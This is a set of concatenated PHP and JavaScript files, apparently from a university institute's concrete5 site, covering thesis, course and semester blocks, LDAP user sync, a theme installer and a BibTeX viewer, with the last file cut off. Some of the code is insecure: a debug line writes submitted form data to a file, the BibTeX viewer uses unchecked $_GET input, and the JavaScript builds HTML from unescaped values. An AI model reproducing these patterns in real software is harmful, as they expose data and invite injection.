<file_sep><?php defined('C5_EXECUTE') or die(_("Access Denied.")); Loader::model('page_list'); Loader::helper('itm_thesis', 'itm_thesis'); class ItmThesisEntryBlockController extends BlockController { protected $btTable = 'btItmThesis'; protected $btInterfaceWidth = "500"; protected $btInterfaceHeight = "400"; protected $btWrapperClass = 'ccm-ui'; public function getBlockTypeDescription() { return t("Adds a thesis entry to a page."); } public function getBlockTypeName() { return t("ITM Thesis Entry"); } public function save($data) { file_put_contents('thesis-save',"Thesis save:\n\n" . print_r($data, true)); // save special value for supervior/tutor if none is specified $data['tutor'] = $data['tutorsJson']; $data['supervisor'] = $data['supervisorsJson']; parent::save($data); } public function getJavaScriptStrings() { // return translated strings available for Java Script return array( 'title-required' => t('Please enter a thesis topic.'), 'invalid_supervisor' => t('Supervisor name is invalid.'), 'invalid_tutor' => t('Tutor name is invalid.') ); } /** * @return array asso. array of UserInfo elements with qualified user names * as keys (qualified means: ITM_THESIS_LDAP_PREFIX + user * name) */ public function getLdapUsers() { if (!$this->hasItmLdap()) { return array(); } Loader::helper('itm_thesis', 'itm_thesis'); $ilh = Loader::helper('itm_ldap', 'itm_ldap'); $result = array(ITM_THESIS_LDAP_PREFIX . 'none' => t('None')); foreach ($ilh->getLdapStaffFromC5() as $user) { $result[ITM_THESIS_LDAP_PREFIX . $user->uName] = $user->uName; } return $result; } public function getTutors() { if (!strlen($this->tutor)) { return array(); } //legacy fix if (substr($this->tutor, 0, 1) != '[') { return array($this->tutor); } return Loader::helper('json')->decode($this->tutor); } public function getSupervisors() { if (!strlen($this->supervisor)) { return array(); } //legacy fix if (substr($this->supervisor, 0, 1) != '[') { return array($this->supervisor); } return Loader::helper('json')->decode($this->supervisor); } /** * @return bool true if ITM LDAP package is available and at least one LDAP * user entry exists, otherwise false */ public function hasItmLdap() { $ldapAuthPkg = Package::getByHandle('ldap_auth'); if (!empty($ldapAuthPkg)) { $ilh = Loader::helper('itm_ldap', 'itm_ldap'); if ($ilh->hasLdapAuth()) { try { return count($ilh->getLdapStaffFromC5()) > 0; } catch (Exception $e) { return false; } } } return false; } public function isLdapName($name) { return Loader::helper('itm_thesis', 'itm_thesis')->isLdapName($name); } public function isEmptyName($name) { return empty($name) || $name == ITM_THESIS_LDAP_PREFIX . 'none'; } public function cutLdapPrefix($name) { if ($this->isLdapName($name)) { return substr($name, strlen(ITM_THESIS_LDAP_PREFIX)); } return $name; } public function renderName($name) { $ldapHelper = Loader::helper('itm_ldap', 'itm_ldap'); if ($this->isEmptyName($name)) { return ''; } if (!$this->isLdapName($name)) { return $name; } $name = $this->cutLdapPrefix($name); $ui = UserInfo::getByUserName($name); if (!empty($ui)) { if (!empty($name)) { $fullName = $ldapHelper->getFullName($ui); $link = $ldapHelper->getUserPageLink($name); if ($link) { echo '<a href="' . $link . '">' . $fullName . '</a>'; } else { echo $fullName; } } } return ''; } } ?><file_sep><?php defined('C5_EXECUTE') or die(_("Access Denied.")); class ItmThesisPackage extends Package { protected $pkgHandle = 'itm_thesis'; protected $appVersionRequired = '5.5.1'; protected $pkgVersion = '1.2'; public function getPackageDescription() { return t("Installs the ITM thesis package."); } public function getPackageName() { return t("ITM Thesis"); } public function install() { $pkg = parent::install(); $themePkg = Package::getByHandle('itm_theme'); if (empty($themePkg)) { $pkg->uninstall(); throw new Exception("Required package <b>itm_theme</b> not found. Install it in advance."); } // install blocks BlockType::installBlockTypeFromPackage('itm_thesis_entry', $pkg); BlockType::installBlockTypeFromPackage('itm_thesis_overview', $pkg); // install page type Loader::model('collection_types'); $ctItmThesisPage = CollectionType::getByHandle('itm_thesis_page'); if (!$ctItmThesisPage || !intval($ctItmThesisPage->getCollectionTypeID())) { $ctItmThesisPage = CollectionType::add(array('ctHandle' => 'itm_thesis_page', 'ctName' => t('Thesis')), $pkg); } // add default attribute $ctItmThesisPage->assignCollectionAttribute(CollectionAttributeKey::getByHandle('exclude_nav')); // install default page of itm_thesis_page page type // this includes setting up a default itm_thesis_entry block, // a default "Research Area" custom content block and a default // "The Thesis Topic" custom content block // obtain master template $mTplItmThesisPage = $ctItmThesisPage->getMasterTemplate(); // create content area within master template $aThesisInformation = Area::getOrCreate($mTplItmThesisPage, 'Thesis Information'); // create data array that is passed to addBlock() - what data ever... $data = array(); // get thesis entry and thesis custom content block types $btThesisEntry = BlockType::getByHandle("itm_thesis_entry"); $btThesisCustomContent = BlockType::getByHandle("itm_titled_paragraph"); // set default data for thesis entry block, add and save it $defaultThesisEntryData = array( 'topic' => t('Click and select Edit to enter thesis data.'), 'type' => 0, 'status' => 0, 'student' => '', 'beginning' => '', 'tutor' => '', 'supervisor' => '' ); $bThesisData = $mTplItmThesisPage->addBlock($btThesisEntry, $aThesisInformation, $data); $bThesisData->getController()->save($defaultThesisEntryData); // do the same like above for research and thesis topic blocks $defaultResearchAreaData = array( 'title' => t('Research Area'), 'content' => t('Click and select Edit to enter custom data.') ); $bResearchArea = $mTplItmThesisPage->addBlock($btThesisCustomContent, $aThesisInformation, $data); $bResearchArea->getController()->save($defaultResearchAreaData); $defaultThesisTopicData = array( 'title' => t('The Thesis Topic'), 'content' => t('Click and select Edit to enter custom data.') ); $bThesisTopic = $mTplItmThesisPage->addBlock($btThesisCustomContent, $aThesisInformation, $data); $bThesisTopic->getController()->save($defaultThesisTopicData); } } ?> <file_sep><?php defined('C5_EXECUTE') or die("Access Denied."); Loader::model('page_list'); /** * The itm_thesis_overview block outputs a list of thesis topics linking * to the corresponding thesis pages. No data is written. */ class ItmSemesterOverviewBlockController extends BlockController { protected $btTable = "btItmSemesterOverview"; protected $btInterfaceWidth = "300"; protected $btInterfaceHeight = "200"; protected $btWrapperClass = 'ccm-ui'; public function getBlockTypeDescription() { return t("Adds a semester overview to a page."); } public function getBlockTypeName() { return t("ITM Semester Overview"); } public function save($data) { parent::save($data); } // is called during page view and adds custom stylesheet public function on_page_view() { $bt = BlockType::getByHandle($this->btHandle); $uh = Loader::helper('concrete/urls'); $this->addHeaderItem('<link rel="stylesheet" type="text/css" href="'. $uh->getBlockTypeAssetsURL($bt, 'style.css') .'" />'); } /** * @return array array of thesis items. Thesis items are assoc. arrays with * keys 'topic', 'status', 'type' and 'link', whereby 'link' * is a URL to the thesis resource. */ public function getSemesterList() { // load navigation helper to create links from pages $nh = Loader::helper('navigation'); $pl = new PageList(); $pl->ignoreAliases(); $pl->ignorePermissions(); $pl->filterByCollectionTypeHandle('itm_semester_page'); $collections = $pl->get(); $items = array(); foreach ($collections as $collection) { $aTerm = $collection->getCollectionAttributeValue('semester_term'); $term = $aTerm->current(); if ($term == t('Summer term')) { $term = 'summerterm'; } else { $term = 'winterterm'; } $year = $collection->getAttribute('semester_year'); $items[$year][$term] = $nh->getLinkToCollection($collection); } krsort($items); return $items; } } ?><file_sep><?php defined('C5_EXECUTE') or die(_("Access Denied.")); ?> <?php // set default values for status and type // afterwards, generate form if (!isset($status)) { $status = 0; } if (!isset($type)) { $type = 0; } ?> <style type="text/css"> .itmCourse label { float: none; width: 100%; text-align: left; cursor: pointer; } .itmCourse td:nth-child(2) { padding-right: 20px; } </style> <table class="itmCourse zebra-striped"> <thead> <th colspan="2"><?= t('General Course Information') ?></th> </thead> <tbody> <tr> <td><?= t('Name') ?></td> <?php $cp = Page::getCurrentPage(); if ($name == t('Click and select Edit to enter course data.')) { $name = $cp->getCollectionName(); } ?> <td><?= $form->text('name', $name, array('style' => 'width: 100%')) ?></td> </tr> <tr> <td><?= t('Type') ?></td> <td> <div> <label for="type1"> <?= $form->radio('type', '0', $type) ?> <?= t('Course') ?> </label> </div> <div> <label for="type2"> <?= $form->radio('type', '1', $type) ?> <?= t('Seminar') ?> </label> </div> <div> <label for="type3"> <?= $form->radio('type', '2', $type) ?> <?= t('Workshop') ?> </label> </div> <div> <label for="type4"> <?= $form->radio('type', '3', $type) ?> <?= t('Practical Course') ?> </label> </div> <div> <label for="type5"> <?= $form->radio('type', '4', $type) ?> <?= t('Project') ?> </label> </div> </td> </tr> <tr> <td><?= t('Groups') ?></td> <?php $ch = Loader::helper('itm_courses', 'itm_courses'); ?> <td><?= $form->selectMultiple('groups', $ch->getCourseGroups(), $this->controller->getCourseGroups(), array('style' => 'width: 100%')) ?></td> </tr> <tr> <td><?= t('Credits') ?></td> <td><?= $form->text('credits', $credits, array('style' => 'width: 100%')) ?></td> </tr> <tr> <td><?= t('Credit Hours') ?></td> <td><?= $form->text('creditHours', $creditHours, array('style' => 'width: 100%')) ?></td> </tr> </tbody> </table> <?php $json = Loader::helper('json'); ?> <script language="JavaScript" type="text/javascript"> var CourseData = { ICON_REMOVE: '<img src="<?= ASSETS_URL_IMAGES ?>/icons/delete_small.png" width="16" height="16" alt="<?= t('Remove') ?>" title="<?= t('Remove') ?>" style="vertical-align: middle"/>', ICON_SWITCH: '<img src="<?= ASSETS_URL_IMAGES ?>/icons/edit_small.png" width="16" height="16" alt="<?= t('Switch Edit Mode') ?>" title="<?= t('Switch Edit Mode') ?>" style="vertical-align: middle"/>', ICON_UP: '<img src="<?= ASSETS_URL_IMAGES ?>/icons/arrow_up_black.png" width="11" height="6" alt="<?= t('Move Up') ?>" title="<?= t('Move Up') ?>" style="vertical-align: middle"/>', ICON_DOWN: '<img src="<?= ASSETS_URL_IMAGES ?>/icons/arrow_down_black.png" width="11" height="6" alt="<?= t('Move Down') ?>" title="<?= t('Move Down') ?>" style="vertical-align: middle"/>', ICON_UP_DISABLED: '<img src="<?= ASSETS_URL_IMAGES ?>/icons/arrow_up.png" width="11" height="6" alt="<?= t('Move Up disabled') ?>" title="<?= t('Move Up disabled') ?>" style="vertical-align: middle"/>', ICON_DOWN_DISABLED: '<img src="<?= ASSETS_URL_IMAGES ?>/icons/arrow_down.png" width="11" height="6" alt="<?= t('Move disabled') ?>" title="<?= t('Move Down disabled') ?>" style="vertical-align: middle"/>', LDAP_USERS: <?=$json->encode($this->controller->getLdapUsers())?>, lecturers: <?= $json->encode($this->controller->getLecturers()) ?>, assistants: <?= $json->encode($this->controller->getAssistants()) ?>, serializeLecturers: function() { return JSON.stringify(this.lecturers); }, serializeAssistants: function() { return JSON.stringify(this.assistants); } } </script> <table class="itmCourse zebra-striped"> <thead> <th colspan="2"><?= t('People') ?></th> </thead> <tr> <td style="width: 150px"><?= t('Lecturer(s)') ?></td> <td> <div id="lecturerWrapper"> <script language="JavaScript" type="text/javascript"> $('#lecturerWrapper').wrapInner(CourseEntry.renderList('lecturer')); </script> </div> <div> <a href="#" onclick="CourseEntry.addItem('lecturer'); return false;" style="border: 0px"> <img src="<?= ASSETS_URL_IMAGES ?>/icons/add_small.png" width="16" height="16" alt="<?= t('Add item') ?>" title="<?= t('Add item') ?>" style="vertical-align: middle"/> </a> </div> <input type="hidden" id="lecturersJson" name="lecturersJson" value=""/> </td> </tr> <tr> <td><?= t('Teaching Assistant(s) ') ?></td> <td> <div id="assistantWrapper"> <script language="JavaScript" type="text/javascript"> $('#assistantWrapper').wrapInner(CourseEntry.renderList('assistant')); </script> </div> <div> <a href="#" onclick="CourseEntry.addItem('assistant'); return false;" style="border: 0px"> <img src="<?= ASSETS_URL_IMAGES ?>/icons/add_small.png" width="16" height="16" alt="<?= t('Add item') ?>" title="<?= t('Add item') ?>" style="vertical-align: middle"/> </a> </div> <input type="hidden" id="assistantsJson" name="assistantsJson" value=""/> </td> </tr> </table> <file_sep><?php defined('C5_EXECUTE') or die("Access Denied."); Loader::model('page_list'); /** * The itm_thesis_overview block outputs a list of thesis topics linking * to the corresponding thesis pages. No data is written. */ class ItmSemesterBlockController extends BlockController { protected $btTable = "btItmSemester"; protected $btInterfaceWidth = "300"; protected $btInterfaceHeight = "300"; protected $btWrapperClass = 'ccm-ui'; public function getBlockTypeDescription() { return t("Adds a course overview to a semester page."); } public function getBlockTypeName() { return t("ITM Course Overview"); } public function save($data) { parent::save($data); } public function getJavaScriptStrings() { // return translated strings available for Java Script return array( 'group-required' => t('Please select a group.'), ); } /** * @return string custom group title from DB record. */ public function getCustomTitle() { return $this->groupTitle; } /** * @return string group filter. */ public function getGroupFilter() { return $this->groupFilter; } public static function cmpObj($a, $b) { //return strcmp($a['order'], $b['order']); return strcmp($a['name'], $b['name']); } /** * @return array array of thesis items. Thesis items are assoc. arrays with * keys 'topic', 'status', 'type' and 'link', whereby 'link' * is a URL to the thesis resource. */ public function getCourseList() { if (empty($this->groupName) && empty($this->groupFilter)) { return array(); } // load navigation helper to create links from pages $nh = Loader::helper('navigation'); // load thesis helper $th = Loader::helper('itm_thesis', 'itm_thesis'); $pl = new PageList(); //$pl->ignoreAliases(); $pl->ignorePermissions(); $pl->filterByCollectionTypeHandle('itm_course_page'); $pl->filterByParentID(Page::getCurrentPage()->getCollectionID()); $collections = $pl->get(); //file_put_contents('semov.txt', print_r($collections, true), FILE_APPEND); // create placeholder for courses and their maintained data $items = array(); foreach ($collections as $collection) { $blocks = $collection->getBlocks(); foreach ($blocks as $block) { $bCtrl = $block->getController(); if ($bCtrl instanceof ItmCourseBlockController) { //file_put_contents('semov.txt', print_r($blocks, true), FILE_APPEND); //file_put_contents('semov.txt', '__________________________________________________________________', FILE_APPEND); $ctrlData = $bCtrl->getBlockControllerData(); //check user filter $groups = $bCtrl->getCourseGroups(); foreach ($groups as $group) { $match = false; if (strlen($this->groupFilter)) { if (!(strpos(strtolower($group), strtolower($this->groupFilter)) === false)) { $match = true; } } else { if ($group == $this->groupName) { $match = true; } } if ($match) { // copy data to a new item array plus a page link $item = array( 'credits' => $ctrlData->credits, 'mode' => $ctrlData->mode, 'type' => $ctrlData->type, 'name' => $ctrlData->name, 'link' => $nh->getLinkToCollection($collection), 'order' => $collection->getCollectionDisplayOrder() ); // add item to result list $items[] = $item; break; } } break; } } } usort($items, array('ItmSemesterBlockController', 'cmpObj')); return $items; } } ?><file_sep><?php defined('C5_EXECUTE') or die(_("Access Denied.")); Loader::model('user_list'); class DashboardItmLdapSynchronizationController extends Controller { private $helper; // package helper class public function __construct() { parent::__construct(); $this->helper = Loader::helper('itm_ldap', 'itm_ldap'); } public function view() { if (!$this->helper->hasLdapAuth()) { // show missing package error $this->set('dispatchTo', 'noldapauth'); return; } try { //show overview $this->synchronize(); } catch (Exception $e) { $this->set('msg', t('Reason:') . ' ' . $e->getMessage()); $this->set('dispatchTo', 'configerror'); return; } } /** * Fetches users from LDAP and concrete5 and lists them up */ public function synchronize() { if (!$this->helper->hasLdapAuth()) { //redirect to default page which will also trigger an error $this->redirect('/dashboard/itm_ldap'); } // fetch concrete5 and LDAP users $c5LdapUsers = $this->helper->getLdapStaffFromC5(); $ldapLdapUsers = $this->helper->getLdapStaff(); // generate intersection and finally merge them with the rest // this is done to distinguish between any type of users $resultSet = $this->helper->intersect($c5LdapUsers, $ldapLdapUsers); $this->helper->mergeAssocArray($resultSet, $this->helper->subtract($c5LdapUsers, $ldapLdapUsers)); $this->helper->mergeAssocArray($resultSet, $this->helper->subtract($ldapLdapUsers, $c5LdapUsers)); // sort them ascending ksort($resultSet); // set result set $this->set('userlist', $resultSet); // apply filter $filter = array( 'value' => '', 'c5' => false, 'ldap' => false ); $this->set('filter', $filter); $filter = $this->post('filter'); if (!empty($filter)) { $json = Loader::helper('json'); $filter = $json->decode($filter); $this->set('filter', array( 'value' => $filter->value, 'c5' => $filter->c5, 'ldap' => $filter->ldap )); } } /** * Updates a user */ public function update_user() { $val = Loader::helper('validation/error'); $uName = $this->post('uid'); $ldapUser = $this->helper->getLdapUser($uName); if (empty($ldapUser)) { $val->add(sprintf(t("LDAP user <b>%s</b> does not exist. Update process aborted."), $uName)); $this->set('error', $val); return; } try { $this->helper->addUserFromLdap($ldapUser); } catch (Exception $e) { $val->add($e->getMessage()); $this->set('error', $val); $this->synchronize(); return; } $this->set('message', 'User successfully updated.'); $this->synchronize(); } /** * Updates several users */ public function update_users() { $val = Loader::helper('validation/error'); $json = Loader::helper('json'); $items = $json->decode($this->post('items')); if (!is_array($items)) { $val->add(t('Fatal error: user list is corrupted.')); $this->set('error', $val); $this->synchronize(); return; } foreach ($items as $uName) { $ldapUser = $this->helper->getLdapUser($uName); if (empty($ldapUser)) { $val->add(sprintf(t("LDAP user <b>%s</b> does not exist. Skip this entry."), $uName)); } try { $this->helper->addUserFromLdap($ldapUser); } catch (Exception $e) { $val->add(sprintf(t('Error updating user <b>%s</b>: %s. Skip this entry.'), $uName, $e->getMessage())); } } $this->set('error', $val); $this->set('message', 'Users successfully updated.'); $this->synchronize(); } /** * Removes a user */ public function remove_user() { $val = Loader::helper('validation/error'); $uName = $this->post('uid'); $user = UserInfo::getByUserName($uName); if (empty($user)) { $val->add(t("User <b>$uName</b> does not exist. Deletion process aborted.")); $this->set('error', $val); $this->synchronize(); return; } if ($user->delete() === false) { $val->add(t("User <b>$uName</b> has not been deleted.")); $this->set('error', $val); $this->synchronize(); return; } $this->set('message', t('User has been successfully deleted.')); $this->synchronize(); } /** * Removes several users */ public function remove_users() { $val = Loader::helper('validation/error'); $json = Loader::helper('json'); $items = $json->decode($this->post('items')); if (!is_array($items)) { $val->add(t('Fatal error: user list is corrupted.')); $this->set('error', $val); $this->synchronize(); return; } foreach ($items as $uName) { $user = UserInfo::getByUserName($uName); if (empty($user)) { continue; } if ($user->delete() === false) { $val->add(sprintf(t('Unknown error while deleting user <b>%s</b>. Skip this entry.'), $uName)); } } $this->set('error', $val); $this->set('message', 'Users successfully deleted.'); $this->synchronize(); } } ?><file_sep><?php defined('C5_EXECUTE') or die(_("Access Denied.")); class ItmThemePackage extends Package { protected $pkgHandle = 'itm_theme'; protected $appVersionRequired = '5.5.1'; protected $pkgVersion = '1.0'; public function getPackageDescription() { return t("Installs the ITM theme."); } public function getPackageName() { return t("ITM Theme"); } public function install() { $pkg = parent::install(); // install theme $theme = PageTheme::add('itm_theme', $pkg); $theme->applyToSite(); // install BlockType::installBlockTypeFromPackage('itm_titled_paragraph', $pkg); // install page type defaults Loader::model('collection_types'); // insert page types where to set defaults $handles = array( 'full', 'right_sidebar', 'left_sidebar' ); $hDescr = array( 'full' => t('One Column'), 'right_sidebar' => t('Right Sidebar'), 'left_sidebar' => t('Left Sidebar') ); $hIcon = array( 'full' => 'main.png', 'right_sidebar' => 'template3.png', 'left_sidebar' => 'template1.png' ); foreach ($handles as $handle) { $ct = CollectionType::getByHandle($handle); if (!$ct) { CollectionType::add(array( 'ctHandle' => $handle, 'ctName' => $hDescr[$handle], 'ctIcon' => $hIcon[$handle] ), $pkg); } } } /** * Adds a Breadcrumbs block to a collection. * * @param Collection $collection Collection object where to add the block * @param array $data additional for Collection::addBlock() method * @return Block inserted block */ public static function addBreadcrumbsBlock($collection, $data = array()) { $aBreadcrumbs = Area::getOrCreate($collection, 'Breadcrumbs'); // fetch autonav block type to insert new autonav blocks $btAutonav = BlockType::getByHandle("autonav"); // database entry for breadcrumbs block $breadcrumbsRecord = array( 'orderBy' => 'display_asc', 'displayPages' => 'top', 'displayPagesCID' => '0', 'displayPagesIncludeSelf' => '0', 'displaySubPages' => 'relevant_breadcrumb', 'displaySubPageLevels' => 'enough', 'displaySubPageLevelsNum' => '0', 'displayUnavailablePages' => '0' ); // insert a new breadcrumbs block with suitbale template $bBreadcrumbs = $collection->addBlock($btAutonav, $aBreadcrumbs, $data); $bBreadcrumbs->setCustomTemplate('breadcrumb.php'); $bBreadcrumbs->getController()->save($breadcrumbsRecord); return $bBreadcrumbs; } /** * Adds a Navigation block to a collection. * * @param Collection $collection Collection object where to add the block * @param array $data additional for Collection::addBlock() method * @return Block inserted block */ public static function addNavigationBlock($collection, $data = array()) { $aNavigation = Area::getOrCreate($collection, 'Navigation'); // fetch autonav block type to insert new autonav blocks $btAutonav = BlockType::getByHandle("autonav"); // database entry for navigation block $navigationRecord = array( 'orderBy' => 'display_asc', 'displayPages' => 'top', 'displayPagesCID' => '0', 'displayPagesIncludeSelf' => '0', 'displaySubPages' => 'relevant', 'displaySubPageLevels' => 'all', 'displaySubPageLevelsNum' => '0', 'displayUnavailablePages' => '0' ); // insert a new navigation block with suitbale template $bNavigation = $collection->addBlock($btAutonav, $aNavigation, $data); $bNavigation->setCustomTemplate('itm_vertical_menu.php'); $bNavigation->getController()->save($navigationRecord); return $bNavigation; } } ?> <file_sep><?php defined('C5_EXECUTE') or die("Access Denied."); ?> <?php $ai = new Area('Semester Information'); $ai->display($c); ?> <file_sep><?php defined('C5_EXECUTE') or die(_("Access Denied.")); $ldapHelper = Loader::helper('itm_ldap', 'itm_ldap'); if (!strlen($uName)) : ?> <h1 style="color: red; font-weight: bold"> <?php echo t('Please select a user.'); ?> </h1> <?php else : ?> <h1><?= $ldapHelper->getFullName($userInfo) ?></h1> <div> <?php $config = new Config(); $config->setPackageObject('itm_ldap'); $street = $config->get('ITM_LDAP_STREET'); $streetNo = $config->get('ITM_LDAP_STREET_NO'); $zip = $config->get('ITM_LDAP_ZIP'); $city = $config->get('ITM_LDAP_CITY'); $uniLinkText = $config->get('ITM_LDAP_UNI_LINKTEXT'); $uniUrl = $config->get('ITM_LDAP_UNI_LINK'); $instLinkText = $config->get('ITM_LDAP_INST_LINKTEXT'); $name = $userInfo->getAttribute('name'); $room = $userInfo->getAttribute('room_number'); $phone = $userInfo->getAttribute('telephone_number'); $fax = $userInfo->getAttribute('telefax_number'); $title = $userInfo->getAttribute('title'); $email = $userInfo->uEmail; $consultation = $userInfo->getAttribute('consultation'); $av = Loader::helper('concrete/avatar'); $imgWidth = 150; $paddingRight = 10; if ($userInfo->hasAvatar()) { $imgWidth = getimagesize(DIR_FILES_AVATARS . '/' . $userInfo->getUserID() . '.jpg'); if (is_array($imgWidth)) { $imgWidth = $imgWidth[0]; } else { $imgWidth = 160; } } echo '<div style="width: ' . ($imgWidth + $paddingRight) . 'px; float: left">'; if ($userInfo->hasAvatar()) { echo $av->outputUserAvatar($userInfo, true); } else { echo '<img src="' . DIR_REL . '/packages/itm_ldap/images/noavatar.png" width="' . $imgWidth . '" style="border: 1px solid #e4e4dd; padding: 1px;" alt="' . t('No avatar available') . '"/>'; } echo '</div>'; echo '<div style="margin-left: ' . ($imgWidth + $paddingRight) . 'px;">'; if ($name != '') { echo $ldapHelper->getFullName($userInfo). "<br/>"; } else { echo Page::getCurrentPage()->getCollectionName()."<br/>"; } echo "<a href=\"$uniUrl\" target=\"_blank\">$uniLinkText</a><br/>"; echo "$instLinkText<br/>"; echo "$street $streetNo<br/>"; echo $room == '' ? '' : ("$room<br/>"); echo "$zip $city<br/><br/>"; echo $phone == '' ? '' : t('Phone:') . " $phone<br/>"; echo $fax == '' ? '' : t('Fax:') . " $fax<br/>"; echo $email == '' ? '' : t('E-Mail:') . " <a href=\"mailto:$email\">$email</a><br/>"; echo $consultation == '' ? '' : t('Consultation:') . " $consultation"; echo '</div>'; echo '<div class="ccm-spacer"></div>' ?> </div> <?php endif; ?> <file_sep><?php defined('C5_EXECUTE') or die(_("Access Denied.")); class DashboardItmCoursesController extends Controller { public function view() { } public function delete_group() { $h = Loader::helper('itm_courses', 'itm_courses'); $h->deleteCourseGroup($this->get('handle')); $this->set('message', 'Group has successfully been removed.'); } public function insert_group() { $val = Loader::helper('validation/error'); $h = Loader::helper('itm_courses', 'itm_courses'); if ($h->getCourseGroupByHandle($this->post('new_handle')) !== null) { $val->add('Insertion failed. Handle already exists.'); $this->set('error', $val); return; } try { $h->addCourseGroup($this->post('new_handle'), $this->post('new_name')); } catch (Exception $e) { $val->add('Insertion failed due to a DB error:' . $e); $this->set('error', $val); return; } $this->set('message', 'Group has successfully been added.'); } } ?> <file_sep><?php defined('C5_EXECUTE') or die(_("Access Denied.")); $dh = Loader::helper('concrete/dashboard'); ?> <?php echo $dh->getDashboardPaneHeaderWrapper('<span style="color: red">'.t('ERROR: configuration required').'</span>', false, false, true, array(), Page::getByPath("/dashboard")); ?> <p><?= $msg ?></p> <p><?= t('Please change settings at <i>Dashboard / Users and Groups / LDAP</i>.') ?></p> <?php echo $dh->getDashboardPaneFooterWrapper(); ?><file_sep>/* * validate add/edit field data */ ccmValidateBlockForm = function() { invalidLecturer = CourseEntry.detectInvalidEntry('lecturer') if (invalidLecturer > -1) { ccm_addError(ccm_t('invalid_lecturer') + (invalidLecturer+1)); return false; } invalidAssistant = CourseEntry.detectInvalidEntry('assistant') if (invalidAssistant > -1) { ccm_addError(ccm_t('invalid_assistant') + (invalidAssistant+1)); return false; } $('#lecturersJson').val(CourseData.serializeLecturers()); $('#assistantsJson').val(CourseData.serializeAssistants()); return false; } /* * Handles JavaScript actions on lecturer and assistant lists. */ var CourseEntry = { DEFAULT_LDAP_PREFIX: 'ldap:', TYPE_LECTURER: 'lecturer', TYPE_ASSISTANT: 'assistant', renderLdapOptionValues: function(selValue) { htmlOptions = ''; jQuery.each(CourseData.LDAP_USERS, function(k, v) { htmlOptions += '<option value="' + k + '"'; if (k == selValue) { htmlOptions += ' selected="selected"'; } htmlOptions += '>' + v + '</option>' + "\n"; }); return htmlOptions; }, renderMove: function(type, index, html) { list = this.getListByType(type); linkUp = '<a href="#" onclick="CourseEntry.moveItem(\'' + type + '\', ' + index + ', -1); return false;">' + CourseData.ICON_UP + '</a>'; linkDown = '<a href="#" onclick="CourseEntry.moveItem(\'' + type + '\', ' + index + ', 1); return false;">' + CourseData.ICON_DOWN + '</a>'; if (index - 1 < 0) { linkUp = CourseData.ICON_UP_DISABLED; } if (index + 1 > list.length - 1) { linkDown = CourseData.ICON_DOWN_DISABLED; } htmlDiv = '<div><div style="float: left; width: 11px;">'; htmlDiv += '<div style="height: 16px; vertical-align: middle"><div style="margin-top: 5px; margin-bottom: 4px">' + linkUp + '</div><div>' + linkDown + '</div></div></div>'; htmlDiv += '<div style="margin-left: 16px;">' + html + '</div>'; htmlDiv += '</div>'; return htmlDiv; }, renderLdap: function(type, index, key) { if (!this.hasLdapUsers()) { return this.renderRaw(type, index, ''); } idAndName = type + '_' + index; htmlSelect = '<select onchange="CourseEntry.updateItems(\'' + type + '\');" style="width: 200px" id="' + idAndName + '" name="' + idAndName + '">'; htmlSelect += this.renderLdapOptionValues(key); htmlSelect += '</select>'; return htmlSelect; }, renderRaw: function(type, index, value) { idAndName = type + '_' + index; htmlText = '<input onchange="CourseEntry.updateItems(\'' + type + '\'); " style="width: 190px" type="text" id="' + idAndName + '" name="' + idAndName + '" value="' + value + '"/>'; return htmlText; }, renderRemove: function(type, index) { return '<a href="#" onclick="CourseEntry.updateItems(\'' + type + '\'); CourseEntry.removeItem(\'' + type + '\', ' + index + '); return false;">' + CourseData.ICON_REMOVE + '</a>'; }, renderEditMode: function(type, index) { if (!this.hasLdapUsers()) { return ''; } return '<a href="#" onclick="CourseEntry.updateItems(\'' + type + '\'); CourseEntry.switchEditMode(\'' + type + '\', ' + index + '); return false;">' + CourseData.ICON_SWITCH + '</a>'; }, renderList: function(type) { list = this.getListByType(type); htmlDiv = '<div id="' + type + '">'; for (var i = 0; i < list.length; i++) { id = type + '_' + i; htmlDiv += '<div class="clearfix" style="margin-bottom: 4px">'; elem = ''; if (this.isLdapEntry(list[i])) { elem += this.renderLdap(type, i, list[i]); } else { elem += this.renderRaw(type, i, list[i]); } elem += '&nbsp;' + this.renderRemove(type, i); elem += '&nbsp;' + this.renderEditMode(type, i, list[i]); htmlDiv += this.renderMove(type, i, elem); htmlDiv += '</div>'; } return htmlDiv; }, switchEditMode: function(type, index) { if (!this.hasLdapUsers()) { return; } elem = $('#' + type + '_' + index); isSelect = elem.is('select'); if (isSelect) { elem.replaceWith(this.renderRaw(type, index, '')); } else { elem.replaceWith(this.renderLdap(type, index, '')); } elem.focus(); }, addItem: function(type) { list = this.getListByType(type); if (this.hasLdapUsers()) { list.push('ldap:none'); } else { list.push(''); } $('#' + type).replaceWith(this.renderList(type)); }, updateItems: function(type) { list = this.getListByType(type); for (i = 0; i < list.length; i++) { elem = $('#' + type + '_' + i); list[i] = elem.val(); } }, getListByType: function(type) { if (type == CourseEntry.TYPE_LECTURER) { return CourseData.lecturers; } else { return CourseData.assistants; } }, removeItem: function(type, index) { list = this.getListByType(type); list.splice(index, 1); $('#' + type).replaceWith(this.renderList(type)); }, moveItem: function(type, index, direction) { list = this.getListByType(type); if (index + direction < 0 || index + direction > list.length - 1) { return; } tmpElem = list[index]; list[index] = list[index + direction]; list[index + direction] = tmpElem; $('#' + type).replaceWith(this.renderList(type)); }, isLdapEntry: function(name) { return name.substr(0, CourseEntry.DEFAULT_LDAP_PREFIX.length) == CourseEntry.DEFAULT_LDAP_PREFIX; }, detectInvalidEntry: function(type) { list = this.getListByType(type); invalid = -1; for (i = 0; i < list.length; i++) { elem = $('#' + type + '_' + i); isSelect = elem.is('select'); if (isSelect && elem.val() == CourseEntry.DEFAULT_LDAP_PREFIX + 'none') { invalid = i; break; } if (!isSelect && elem.val() == '') { invalid = i; break; } } return invalid; }, hasLdapUsers: function() { var i = 0; jQuery.each(CourseData.LDAP_USERS, function(k, v) { i++; }); return i > 1; } }<file_sep><?php $bf = $_GET['bf']; $key = $_GET['key']; if (empty($bf) || empty($key)) { die('Bibtex entry not found. Exit request.'); } $bh = Loader::helper('itm_bibtex', 'itm_bibtex'); Loader::library('bibtexbrowser', 'itm_bibtex'); $bibDb = $bh->getBibDb($bf); $result = $bibDb->multisearch(array('key' => $key)); if (count($result) != 1) { die('Bibtex entry not found. Exit request.'); } echo '<pre style="font-family: \'Courier New\', Courier, monospace;">' . $bh->renderBibEntryRaw(array_shift($result)) . '</pre>'; if (isset($_GET['random'])) // if true => AJAX call { echo '<p style="text-align: center; margin-top: 20px"><a class="ccm-dialog-close" href="javascript:void(0)">Close</a></p>'; } ?><file_sep><?php $f = File::getByID($_GET['f']); if ($f->isError()) { header("HTTP/1.0 404 Not Found\n"); exit(); } echo 